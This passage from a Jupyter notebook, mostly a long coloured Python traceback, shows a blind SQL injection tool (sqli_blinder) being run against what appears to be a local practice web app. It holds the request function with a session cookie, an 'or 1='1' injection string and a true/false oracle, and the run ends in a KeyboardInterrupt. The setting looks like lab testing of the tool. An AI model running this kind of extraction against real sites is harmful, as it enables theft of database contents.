\u001b[38;5;28mchr\u001b[39m(\u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mbinary_search\u001b[49m\u001b[43m(\u001b[49m\u001b[43ms\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mascii_search_limit\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;28;43;01mTrue\u001b[39;49;00m\u001b[43m)\u001b[49m)\n\u001b[1;32m 212\u001b[0m \t\u001b[38;5;28;01melse\u001b[39;00m:\n\u001b[1;32m 213\u001b[0m \t\tres \u001b[38;5;241m=\u001b[39m \u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39mbinary_search_set(s,alphabet)\n", 334 | "File \u001b[0;32m~/tools/sqli_blinder/sqli_blinder/blinder.py:132\u001b[0m, in \u001b[0;36mSQLiBlinder.binary_search\u001b[0;34m(self, s, start_val, start_val_defined, search_for_number, not_char_request)\u001b[0m\n\u001b[1;32m 130\u001b[0m \u001b[38;5;28;01mif\u001b[39;00m(not_char_request):\n\u001b[1;32m 131\u001b[0m \t\u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39mnot_char_requests\u001b[38;5;241m+\u001b[39m\u001b[38;5;241m=\u001b[39m\u001b[38;5;241m1\u001b[39m\n\u001b[0;32m--> 132\u001b[0m r \u001b[38;5;241m=\u001b[39m \u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mget_bool\u001b[49m\u001b[43m(\u001b[49m\u001b[43msql\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 133\u001b[0m \u001b[38;5;66;03m# print r\u001b[39;00m\n\u001b[1;32m 134\u001b[0m \u001b[38;5;28;01mif\u001b[39;00m move \u001b[38;5;241m<\u001b[39m \u001b[38;5;241m1\u001b[39m:\n", 335 | "File \u001b[0;32m~/tools/sqli_blinder/sqli_blinder/blinder.py:107\u001b[0m, in \u001b[0;36mSQLiBlinder.get_bool\u001b[0;34m(self, sql)\u001b[0m\n\u001b[1;32m 105\u001b[0m \u001b[38;5;28;01mdef\u001b[39;00m \u001b[38;5;21mget_bool\u001b[39m(\u001b[38;5;28mself\u001b[39m, sql):\n\u001b[1;32m 106\u001b[0m \t\u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39mtotal_requests\u001b[38;5;241m+\u001b[39m\u001b[38;5;241m=\u001b[39m\u001b[38;5;241m1\u001b[39m\n\u001b[0;32m--> 107\u001b[0m \t\u001b[38;5;28;01mreturn\u001b[39;00m \u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mrequest_func\u001b[49m\u001b[43m(\u001b[49m\u001b[43msql\u001b[49m\u001b[43m)\u001b[49m\n", 336 | "Input \u001b[0;32mIn [3]\u001b[0m, in \u001b[0;36mexample_func\u001b[0;34m(sql)\u001b[0m\n\u001b[1;32m 11\u001b[0m burp0_cookies \u001b[38;5;241m=\u001b[39m { \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mPHPSESSID\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mhgri8v7sfu8i3rug0fdas26rb4\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124msecurity_level\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124m0\u001b[39m\u001b[38;5;124m\"\u001b[39m}\n\u001b[1;32m 12\u001b[0m burp0_headers \u001b[38;5;241m=\u001b[39m {\u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mUser-Agent\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mMozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mAccept\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mtext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mAccept-Language\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mAccept-Encoding\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mgzip, deflate\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mConnection\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mclose\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mReferer\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mhttp://localhost:8000/sqli_4.php?title=fefe\u001b[39m\u001b[38;5;124m%\u001b[39m\u001b[38;5;124m27+or+1\u001b[39m\u001b[38;5;124m%\u001b[39m\u001b[38;5;124m3D\u001b[39m\u001b[38;5;124m%\u001b[39m\u001b[38;5;124m271&action=search\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mUpgrade-Insecure-Requests\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124m1\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mSec-Fetch-Dest\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mdocument\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mSec-Fetch-Mode\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mnavigate\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mSec-Fetch-Site\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124msame-origin\u001b[39m\u001b[38;5;124m\"\u001b[39m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mSec-Fetch-User\u001b[39m\u001b[38;5;124m\"\u001b[39m: \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124m?1\u001b[39m\u001b[38;5;124m\"\u001b[39m}\n\u001b[0;32m---> 13\u001b[0m r \u001b[38;5;241m=\u001b[39m \u001b[43mrequests\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mget\u001b[49m\u001b[43m(\u001b[49m\u001b[43mburp0_url\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mheaders\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mburp0_headers\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mcookies\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mburp0_cookies\u001b[49m\u001b[43m,\u001b[49m\u001b[43mparams\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mparams\u001b[49m\u001b[43m,\u001b[49m\u001b[43mproxies\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mproxyDict\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 14\u001b[0m \u001b[38;5;28;01mif\u001b[39;00m \u001b[38;5;124m'\u001b[39m\u001b[38;5;124mThe movie exists in our database\u001b[39m\u001b[38;5;124m'\u001b[39m \u001b[38;5;129;01min\u001b[39;00m r\u001b[38;5;241m.\u001b[39mtext: \n\u001b[1;32m 15\u001b[0m \u001b[38;5;28;01mreturn\u001b[39;00m \u001b[38;5;28;01mTrue\u001b[39;00m\n", 337 | "File \u001b[0;32m/opt/homebrew/lib/python3.9/site-packages/requests-2.27.1-py3.9.egg/requests/api.py:75\u001b[0m, in \u001b[0;36mget\u001b[0;34m(url, params, **kwargs)\u001b[0m\n\u001b[1;32m 64\u001b[0m \u001b[38;5;28;01mdef\u001b[39;00m \u001b[38;5;21mget\u001b[39m(url, params\u001b[38;5;241m=\u001b[39m\u001b[38;5;28;01mNone\u001b[39;00m, \u001b[38;5;241m*\u001b[39m\u001b[38;5;241m*\u001b[39mkwargs):\n\u001b[1;32m 65\u001b[0m \u001b[38;5;124mr\u001b[39m\u001b[38;5;124;03m\"\"\"Sends a GET request.\u001b[39;00m\n\u001b[1;32m 66\u001b[0m \n\u001b[1;32m 67\u001b[0m \u001b[38;5;124;03m :param url: URL for the new :class:`Request` object.\u001b[39;00m\n\u001b[0;32m (...)\u001b[0m\n\u001b[1;32m 72\u001b[0m \u001b[38;5;124;03m :rtype: requests.Response\u001b[39;00m\n\u001b[1;32m 73\u001b[0m \u001b[38;5;124;03m \"\"\"\u001b[39;00m\n\u001b[0;32m---> 75\u001b[0m \u001b[38;5;28;01mreturn\u001b[39;00m \u001b[43mrequest\u001b[49m\u001b[43m(\u001b[49m\u001b[38;5;124;43m'\u001b[39;49m\u001b[38;5;124;43mget\u001b[39;49m\u001b[38;5;124;43m'\u001b[39;49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43murl\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mparams\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mparams\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;241;43m*\u001b[39;49m\u001b[38;5;241;43m*\u001b[39;49m\u001b[43mkwargs\u001b[49m\u001b[43m)\u001b[49m\n", 338 | "File \u001b[0;32m/opt/homebrew/lib/python3.9/site-packages/requests-2.27.1-py3.9.egg/requests/api.py:61\u001b[0m, in \u001b[0;36mrequest\u001b[0;34m(method, url, **kwargs)\u001b[0m\n\u001b[1;32m 57\u001b[0m \u001b[38;5;66;03m# By using the 'with' statement we are sure the session is closed, thus we\u001b[39;00m\n\u001b[1;32m 58\u001b[0m \u001b[38;5;66;03m# avoid leaving sockets open which can trigger a ResourceWarning in some\u001b[39;00m\n\u001b[1;32m 59\u001b[0m \u001b[38;5;66;03m# cases, and look like a memory leak in others.\u001b[39;00m\n\u001b[1;32m 60\u001b[0m \u001b[38;5;28;01mwith\u001b[39;00m sessions\u001b[38;5;241m.\u001b[39mSession() \u001b[38;5;28;01mas\u001b[39;00m session:\n\u001b[0;32m---> 61\u001b[0m \u001b[38;5;28;01mreturn\u001b[39;00m \u001b[43msession\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mrequest\u001b[49m\u001b[43m(\u001b[49m\u001b[43mmethod\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mmethod\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43murl\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43murl\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;241;43m*\u001b[39;49m\u001b[38;5;241;43m*\u001b[39;49m\u001b[43mkwargs\u001b[49m\u001b[43m)\u001b[49m\n", 339 | "File \u001b[0;32m/opt/homebrew/lib/python3.9/site-packages/requests-2.27.1-py3.9.egg/requests/sessions.py:529\u001b[0m, in \u001b[0;36mSession.request\u001b[0;34m(self, method, url, params, data, headers, cookies, files, auth, timeout, allow_redirects, proxies, hooks, stream, verify, cert, json)\u001b[0m\n\u001b[1;32m 524\u001b[0m send_kwargs \u001b[38;5;241m=\u001b[39m {\n\u001b[1;32m 525\u001b[0m \u001b[38;5;124m'\u001b[39m\u001b[38;5;124mtimeout\u001b[39m\u001b[38;5;124m'\u001b[39m: timeout,\n\u001b[1;32m 526\u001b[0m \u001b[38;5;124m'\u001b[39m\u001b[38;5;124mallow_redirects\u001b[39m\u001b[38;5;124m'\u001b[39m: allow_redirects,\n\u001b[1;32m 527\u001b[0m }\n\u001b[1;32m 528\u001b[0m send_kwargs\u001b[38;5;241m.\u001b[39mupdate(settings)\n\u001b[0;32m--> 529\u001b[0m resp \u001b[38;5;241m=\u001b[39m \u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43msend\u001b[49m\u001b[43m(\u001b[49m\u001b[43mprep\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;241;43m*\u001b[39;49m\u001b[38;5;241;43m*\u001b[39;49m\u001b[43msend_kwargs\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 531\u001b[0m \u001b[38;5;28;01mreturn\u001b[39;00m resp\n", 340 | "File \u001b[0;32m/opt/homebrew/lib/python3.9/site-packages/requests-2.27.1-py3.9.egg/requests/sessions.py:645\u001b[0m, in \u001b[0;36mSession.send\u001b[0;34m(self, request, **kwargs)\u001b[0m\n\u001b[1;32m 642\u001b[0m start \u001b[38;5;241m=\u001b[39m preferred_clock()\n\u001b[1;32m 644\u001b[0m \u001b[38;5;66;03m# Send the request\u001b[39;00m\n\u001b[0;32m--> 645\u001b[0m r \u001b[38;5;241m=\u001b[39m \u001b[43madapter\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43msend\u001b[49m\u001b[43m(\u001b[49m\u001b[43mrequest\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;241;43m*\u001b[39;49m\u001b[38;5;241;43m*\u001b[39;49m\u001b[43mkwargs\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 647\u001b[0m \u001b[38;5;66;03m# Total elapsed time of the request (approximately)\u001b[39;00m\n\u001b[1;32m 648\u001b[0m elapsed \u001b[38;5;241m=\u001b[39m preferred_clock() \u001b[38;5;241m-\u001b[39m start\n", 341 | "File \u001b[0;32m/opt/homebrew/lib/python3.9/site-packages/requests-2.27.1-py3.9.egg/requests/adapters.py:440\u001b[0m, in \u001b[0;36mHTTPAdapter.send\u001b[0;34m(self, request, stream, timeout, verify, cert, proxies)\u001b[0m\n\u001b[1;32m 438\u001b[0m \u001b[38;5;28;01mtry\u001b[39;00m:\n\u001b[1;32m 439\u001b[0m \u001b[38;5;28;01mif\u001b[39;00m \u001b[38;5;129;01mnot\u001b[39;00m chunked:\n\u001b[0;32m--> 440\u001b[0m resp \u001b[38;5;241m=\u001b[39m \u001b[43mconn\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43murlopen\u001b[49m\u001b[43m(\u001b[49m\n\u001b[1;32m 441\u001b[0m \u001b[43m \u001b[49m\u001b[43mmethod\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mrequest\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mmethod\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 442\u001b[0m \u001b[43m \u001b[49m\u001b[43murl\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43murl\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 443\u001b[0m \u001b[43m \u001b[49m\u001b[43mbody\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mrequest\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mbody\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 444\u001b[0m \u001b[43m \u001b[49m\u001b[43mheaders\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mrequest\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mheaders\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 445\u001b[0m \u001b[43m \u001b[49m\u001b[43mredirect\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[38;5;28;43;01mFalse\u001b[39;49;00m\u001b[43m,\u001b[49m\n\u001b[1;32m 446\u001b[0m \u001b[43m \u001b[49m\u001b[43massert_same_host\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[38;5;28;43;01mFalse\u001b[39;49;00m\u001b[43m,\u001b[49m\n\u001b[1;32m 447\u001b[0m \u001b[43m \u001b[49m\u001b[43mpreload_content\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[38;5;28;43;01mFalse\u001b[39;49;00m\u001b[43m,\u001b[49m\n\u001b[1;32m 448\u001b[0m \u001b[43m \u001b[49m\u001b[43mdecode_content\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[38;5;28;43;01mFalse\u001b[39;49;00m\u001b[43m,\u001b[49m\n\u001b[1;32m 449\u001b[0m \u001b[43m \u001b[49m\u001b[43mretries\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mmax_retries\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 450\u001b[0m \u001b[43m \u001b[49m\u001b[43mtimeout\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mtimeout\u001b[49m\n\u001b[1;32m 451\u001b[0m \u001b[43m \u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 453\u001b[0m \u001b[38;5;66;03m# Send the request.\u001b[39;00m\n\u001b[1;32m 454\u001b[0m \u001b[38;5;28;01melse\u001b[39;00m:\n\u001b[1;32m 455\u001b[0m \u001b[38;5;28;01mif\u001b[39;00m \u001b[38;5;28mhasattr\u001b[39m(conn, \u001b[38;5;124m'\u001b[39m\u001b[38;5;124mproxy_pool\u001b[39m\u001b[38;5;124m'\u001b[39m):\n", 342 | "File \u001b[0;32m/opt/homebrew/lib/python3.9/site-packages/urllib3/connectionpool.py:703\u001b[0m, in \u001b[0;36mHTTPConnectionPool.urlopen\u001b[0;34m(self, method, url, body, headers, retries, redirect, assert_same_host, timeout, pool_timeout, release_conn, chunked, body_pos, **response_kw)\u001b[0m\n\u001b[1;32m 700\u001b[0m \u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39m_prepare_proxy(conn)\n\u001b[1;32m 702\u001b[0m \u001b[38;5;66;03m# Make the request on the httplib connection object.\u001b[39;00m\n\u001b[0;32m--> 703\u001b[0m httplib_response \u001b[38;5;241m=\u001b[39m \u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43m_make_request\u001b[49m\u001b[43m(\u001b[49m\n\u001b[1;32m 704\u001b[0m \u001b[43m \u001b[49m\u001b[43mconn\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 705\u001b[0m \u001b[43m \u001b[49m\u001b[43mmethod\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 706\u001b[0m \u001b[43m \u001b[49m\u001b[43murl\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 707\u001b[0m \u001b[43m \u001b[49m\u001b[43mtimeout\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mtimeout_obj\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 708\u001b[0m \u001b[43m \u001b[49m\u001b[43mbody\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mbody\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 709\u001b[0m \u001b[43m \u001b[49m\u001b[43mheaders\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mheaders\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 710\u001b[0m \u001b[43m \u001b[49m\u001b[43mchunked\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mchunked\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 711\u001b[0m \u001b[43m\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 713\u001b[0m \u001b[38;5;66;03m# If we're going to release the connection in ``finally:``, then\u001b[39;00m\n\u001b[1;32m 714\u001b[0m \u001b[38;5;66;03m# the response doesn't need to know about the connection. Otherwise\u001b[39;00m\n\u001b[1;32m 715\u001b[0m \u001b[38;5;66;03m# it will also try to release it and we'll have a double-release\u001b[39;00m\n\u001b[1;32m 716\u001b[0m \u001b[38;5;66;03m# mess.\u001b[39;00m\n\u001b[1;32m 717\u001b[0m response_conn \u001b[38;5;241m=\u001b[39m conn \u001b[38;5;28;01mif\u001b[39;00m \u001b[38;5;129;01mnot\u001b[39;00m release_conn \u001b[38;5;28;01melse\u001b[39;00m \u001b[38;5;28;01mNone\u001b[39;00m\n", 343 | "File \u001b[0;32m/opt/homebrew/lib/python3.9/site-packages/urllib3/connectionpool.py:449\u001b[0m, in \u001b[0;36mHTTPConnectionPool._make_request\u001b[0;34m(self, conn, method, url, timeout, chunked, **httplib_request_kw)\u001b[0m\n\u001b[1;32m 444\u001b[0m httplib_response \u001b[38;5;241m=\u001b[39m conn\u001b[38;5;241m.\u001b[39mgetresponse()\n\u001b[1;32m 445\u001b[0m \u001b[38;5;28;01mexcept\u001b[39;00m \u001b[38;5;167;01mBaseException\u001b[39;00m \u001b[38;5;28;01mas\u001b[39;00m e:\n\u001b[1;32m 446\u001b[0m \u001b[38;5;66;03m# Remove the TypeError from the exception chain in\u001b[39;00m\n\u001b[1;32m 447\u001b[0m \u001b[38;5;66;03m# Python 3 (including for exceptions like SystemExit).\u001b[39;00m\n\u001b[1;32m 448\u001b[0m \u001b[38;5;66;03m# Otherwise it looks like a bug in the code.\u001b[39;00m\n\u001b[0;32m--> 449\u001b[0m \u001b[43msix\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mraise_from\u001b[49m\u001b[43m(\u001b[49m\u001b[43me\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;28;43;01mNone\u001b[39;49;00m\u001b[43m)\u001b[49m\n\u001b[1;32m 450\u001b[0m \u001b[38;5;28;01mexcept\u001b[39;00m (SocketTimeout, BaseSSLError, SocketError) \u001b[38;5;28;01mas\u001b[39;00m e:\n\u001b[1;32m 451\u001b[0m \u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39m_raise_timeout(err\u001b[38;5;241m=\u001b[39me, url\u001b[38;5;241m=\u001b[39murl, timeout_value\u001b[38;5;241m=\u001b[39mread_timeout)\n", 344 | "File \u001b[0;32m:3\u001b[0m, in \u001b[0;36mraise_from\u001b[0;34m(value, from_value)\u001b[0m\n", 345 | "File \u001b[0;32m/opt/homebrew/lib/python3.9/site-packages/urllib3/connectionpool.py:444\u001b[0m, in \u001b[0;36mHTTPConnectionPool._make_request\u001b[0;34m(self, conn, method, url, timeout, chunked, **httplib_request_kw)\u001b[0m\n\u001b[1;32m 441\u001b[0m \u001b[38;5;28;01mexcept\u001b[39;00m \u001b[38;5;167;01mTypeError\u001b[39;00m:\n\u001b[1;32m 442\u001b[0m \u001b[38;5;66;03m# Python 3\u001b[39;00m\n\u001b[1;32m 443\u001b[0m \u001b[38;5;28;01mtry\u001b[39;00m:\n\u001b[0;32m--> 444\u001b[0m httplib_response \u001b[38;5;241m=\u001b[39m \u001b[43mconn\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mgetresponse\u001b[49m\u001b[43m(\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 445\u001b[0m \u001b[38;5;28;01mexcept\u001b[39;00m \u001b[38;5;167;01mBaseException\u001b[39;00m \u001b[38;5;28;01mas\u001b[39;00m e:\n\u001b[1;32m 446\u001b[0m \u001b[38;5;66;03m# Remove the TypeError from the exception chain in\u001b[39;00m\n\u001b[1;32m 447\u001b[0m \u001b[38;5;66;03m# Python 3 (including for exceptions like SystemExit).\u001b[39;00m\n\u001b[1;32m 448\u001b[0m \u001b[38;5;66;03m# Otherwise it looks like a bug in the code.\u001b[39;00m\n\u001b[1;32m 449\u001b[0m six\u001b[38;5;241m.\u001b[39mraise_from(e, \u001b[38;5;28;01mNone\u001b[39;00m)\n", 346 | "File \u001b[0;32m/opt/homebrew/Cellar/python@3.9/3.9.10/Frameworks/Python.framework/Versions/3.9/lib/python3.9/http/client.py:1377\u001b[0m, in \u001b[0;36mHTTPConnection.getresponse\u001b[0;34m(self)\u001b[0m\n\u001b[1;32m 1375\u001b[0m \u001b[38;5;28;01mtry\u001b[39;00m:\n\u001b[1;32m 1376\u001b[0m \u001b[38;5;28;01mtry\u001b[39;00m:\n\u001b[0;32m-> 1377\u001b[0m \u001b[43mresponse\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mbegin\u001b[49m\u001b[43m(\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 1378\u001b[0m \u001b[38;5;28;01mexcept\u001b[39;00m \u001b[38;5;167;01mConnectionError\u001b[39;00m:\n\u001b[1;32m 1379\u001b[0m \u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39mclose()\n", 347 | "File \u001b[0;32m/opt/homebrew/Cellar/python@3.9/3.9.10/Frameworks/Python.framework/Versions/3.9/lib/python3.9/http/client.py:320\u001b[0m, in \u001b[0;36mHTTPResponse.begin\u001b[0;34m(self)\u001b[0m\n\u001b[1;32m 318\u001b[0m \u001b[38;5;66;03m# read until we get a non-100 response\u001b[39;00m\n\u001b[1;32m 319\u001b[0m \u001b[38;5;28;01mwhile\u001b[39;00m \u001b[38;5;28;01mTrue\u001b[39;00m:\n\u001b[0;32m--> 320\u001b[0m version, status, reason \u001b[38;5;241m=\u001b[39m \u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43m_read_status\u001b[49m\u001b[43m(\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 321\u001b[0m \u001b[38;5;28;01mif\u001b[39;00m status \u001b[38;5;241m!=\u001b[39m CONTINUE:\n\u001b[1;32m 322\u001b[0m \u001b[38;5;28;01mbreak\u001b[39;00m\n", 348 | "File \u001b[0;32m/opt/homebrew/Cellar/python@3.9/3.9.10/Frameworks/Python.framework/Versions/3.9/lib/python3.9/http/client.py:281\u001b[0m, in \u001b[0;36mHTTPResponse._read_status\u001b[0;34m(self)\u001b[0m\n\u001b[1;32m 280\u001b[0m \u001b[38;5;28;01mdef\u001b[39;00m \u001b[38;5;21m_read_status\u001b[39m(\u001b[38;5;28mself\u001b[39m):\n\u001b[0;32m--> 281\u001b[0m line \u001b[38;5;241m=\u001b[39m \u001b[38;5;28mstr\u001b[39m(\u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mfp\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mreadline\u001b[49m\u001b[43m(\u001b[49m\u001b[43m_MAXLINE\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;241;43m+\u001b[39;49m\u001b[43m \u001b[49m\u001b[38;5;241;43m1\u001b[39;49m\u001b[43m)\u001b[49m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124miso-8859-1\u001b[39m\u001b[38;5;124m\"\u001b[39m)\n\u001b[1;32m 282\u001b[0m \u001b[38;5;28;01mif\u001b[39;00m \u001b[38;5;28mlen\u001b[39m(line) \u001b[38;5;241m>\u001b[39m _MAXLINE:\n\u001b[1;32m 283\u001b[0m \u001b[38;5;28;01mraise\u001b[39;00m LineTooLong(\u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mstatus line\u001b[39m\u001b[38;5;124m\"\u001b[39m)\n", 349 | "File \u001b[0;32m/opt/homebrew/Cellar/python@3.9/3.9.10/Frameworks/Python.framework/Versions/3.9/lib/python3.9/socket.py:704\u001b[0m, in \u001b[0;36mSocketIO.readinto\u001b[0;34m(self, b)\u001b[0m\n\u001b[1;32m 702\u001b[0m \u001b[38;5;28;01mwhile\u001b[39;00m \u001b[38;5;28;01mTrue\u001b[39;00m:\n\u001b[1;32m 703\u001b[0m \u001b[38;5;28;01mtry\u001b[39;00m:\n\u001b[0;32m--> 704\u001b[0m \u001b[38;5;28;01mreturn\u001b[39;00m \u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43m_sock\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mrecv_into\u001b[49m\u001b[43m(\u001b[49m\u001b[43mb\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 705\u001b[0m \u001b[38;5;28;01mexcept\u001b[39;00m timeout:\n\u001b[1;32m 706\u001b[0m \u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39m_timeout_occurred \u001b[38;5;241m=\u001b[39m \u001b[38;5;28;01mTrue\u001b[39;00m\n", 350 | "\u001b[0;31mKeyboardInterrupt\u001b[0m: " 351 | ] 352 | } 353 | ], 354 | "source": [ 355 | "sqlib.get_columns('sqli_blinder_test')" 356 | ] 357 | }, 358 | { 359 | "cell_type": "code", 360 | "execution_count": 12, 361 | "metadata": {}, 362 | "outputs": [ 363 | { 364 | "data": { 365 | "text/plain": [ 366 | "238" 367 | ] 368 | }, 369 | "execution_count": 12, 370 | "metadata": {}, 371 | "output_type": "execute_result" 372 | } 373 | ], 374 | "source": [ 375 | "chars = 